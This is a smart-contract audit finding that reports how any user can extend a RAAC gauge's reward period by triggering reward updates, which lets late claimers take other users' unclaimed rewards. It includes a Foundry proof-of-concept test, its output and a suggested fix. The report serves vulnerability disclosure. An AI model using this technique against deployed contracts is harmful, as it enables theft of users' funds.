Summary
Any user can extend lastUpdateTime
of a Gauge, which will effectively delay end time of current period finish. As a result, unclaimed reward amount can be stolen by late claimers.
Vulnerability Details
Root Cause Analysis
Users can stake veToken to a Gauge and claim rewards later. User's earned reward amount depends on getRewardPerToken
calculation, which has the following implementation:
function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}
lastTimeRewardApplicable
is calculated as the following:
function lastTimeRewardApplicable() public view returns (uint256) {
return block.timestamp < periodFinish() ? block.timestamp : periodFinish();
}
* @notice Gets end time of current period
* @return Period end timestamp
*/
function periodFinish() public view returns (uint256) {
@> return lastUpdateTime + getPeriodDuration();
}
lastUpdateTime
state variable is initially set when controller notifies reward amount:
function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
@> lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
lastUpdateTime
is updated whenever _updateReward
modifier is called
function _updateReward(address account) internal {
rewardPerTokenStored = getRewardPerToken();
@> lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
UserState storage state = userStates[account];
state.rewards = earned(account);
state.rewardPerTokenPaid = rewardPerTokenStored;
state.lastUpdateTime = block.timestamp;
emit RewardUpdated(account, state.rewards);
}
}
_updateReward
modifier is appended to stake
, withdraw
, getReward
, checkpoint
and voteDirection
functions.
With the above knowledge, consider the following scenario:
-
Controller notifies reward at timestamp 0
-
1 day passes, and the user calls any of the external functions guarded by _updateReward
modifier.
block.timestamp = 1 days
periodFinish = lastUpdateTime + getPeriodDuration() = 0 + 7 days = 7 days
lastTimeRewardApplicable = block.timestamp < periodFinish ? block.timestamp : periodFinish = 1 days
lastUpdateTime = lastTimeRewardApplicable = 1 days
-
At this moment, periodFinish = lastUpdateTime + getPeriodDuartion() = 1 days + 7 days = 8 days
Note: In this scenario, days
represents Solidity time unit, and does not represent duration.
So what happened here is periodFinish
is increased from 7 days
to 8 days
. This means anyone can extend periodFinish
indefinitely and user can claim rewards even after 7 day (or 30 day for RWA gauge) period.
Since total reward of Gauge is limited, late claimers will begin to steal rewards from unclaimed users after reward period end time.
POC
Scenario
alice
stakes some veToken in RAACGauge
GaugeController
distributes 500K reward token to RAACGauge
For each day over the course of 100 days, alice
votes for direction to trigger _updateRewards
modifier
Reward period never ends during these days
How to run POC
pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {RAACGauge} from "../contracts/core/governance/gauges/RAACGauge.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {MockToken} from "../contracts/mocks/core/tokens/MockToken.sol";
import {GaugeController} from "../contracts/core/governance/gauges/GaugeController.sol";
import {IGaugeController} from "../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
contract GaugeTest is Test {
RAACGauge raacGauge;
RAACToken raacToken;
MockToken veToken;
MockToken rewardToken;
GaugeController gaugeController;
address alice = makeAddr("alice");
uint256 userAssetAmount = 10000e18;
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new MockToken("veRAACToken", "veRAAC", 18);
raacToken.manageWhitelist(address(veToken), true);
rewardToken = new MockToken("Reward Token", "RWD", 18);
gaugeController = new GaugeController(address(veToken));
raacGauge = new RAACGauge(address(rewardToken), address(veToken), address(gaugeController));
raacGauge.grantRole(keccak256("CONTROLLER_ROLE"), address(this));
raacGauge.setBoostParameters(25000, 10000, 7 days);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 10000);
}
function testPeriodExtension() external {
veToken.mint(alice, userAssetAmount);
vm.startPrank(alice);
veToken.approve(address(raacGauge), userAssetAmount);
raacGauge.stake(userAssetAmount / 2);
vm.stopPrank();
deal(address(rewardToken), address(raacGauge), 500_000e18);
gaugeController.distributeRewards(address(raacGauge));
console.log("Initial period finish is :", raacGauge.periodFinish());
vm.startPrank(alice);
for (uint256 i; i < 100; i++) {
skip(1 days);
raacGauge.voteDirection(1);
}
vm.stopPrank();
console.log("Final period finish is :", raacGauge.periodFinish());
}
}
Console Output
[PASS] testPeriodExtension() (gas: 2345402)
Logs:
Initial period finish is : 604801
Final period finish is : 9244801
Impact
Tools Used
Manual Review
Recommendations
BaseGauge
should maintain a separate state variable to store reward start time.